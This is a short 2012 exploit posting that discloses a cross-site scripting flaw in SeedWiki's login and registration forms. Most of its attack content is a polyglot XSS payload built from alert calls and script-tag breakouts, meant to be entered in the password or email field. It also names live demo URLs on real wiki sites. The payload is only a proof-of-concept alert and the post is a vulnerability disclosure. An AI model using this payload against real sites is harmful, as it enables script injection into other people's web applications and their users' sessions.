Home / exploits SeedWiki Cross Site Scripting
Posted on 08 February 2012
# Exploit Title: SeedWiki Cross Site Scripting # Date: 8.02.2012 # Author: Sony # Software Link: http://www.seedwiki.com/ # Web Browser : Mozilla Firefox # Blog : http://st2tea.blogspot.com # PoC: http://st2tea.blogspot.com/2012/02/seedwiki-cross-site-scripting.html .................................................................. Well, we have xss in SeedWiki, in the login form or registration form. Put our xss code : ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> in the password or email or what you want and click button enter. It's a Post Method. Demo: http://www.seedwiki.com/account.cfm?return_wiki=seed_wiki&return_page=seed_wiki http://tinyxp.com/account.cfm?return_wiki=tiny_xp&return_page=tiny_xp http://4.bp.blogspot.com/-mWTLK7p26XA/TzIaV-h0m7I/AAAAAAAAAb4/_OHC2aR69pU/s1600/seedwiki.JPG .................................................................. InSecurity.Ro Because we care, we're security aware!
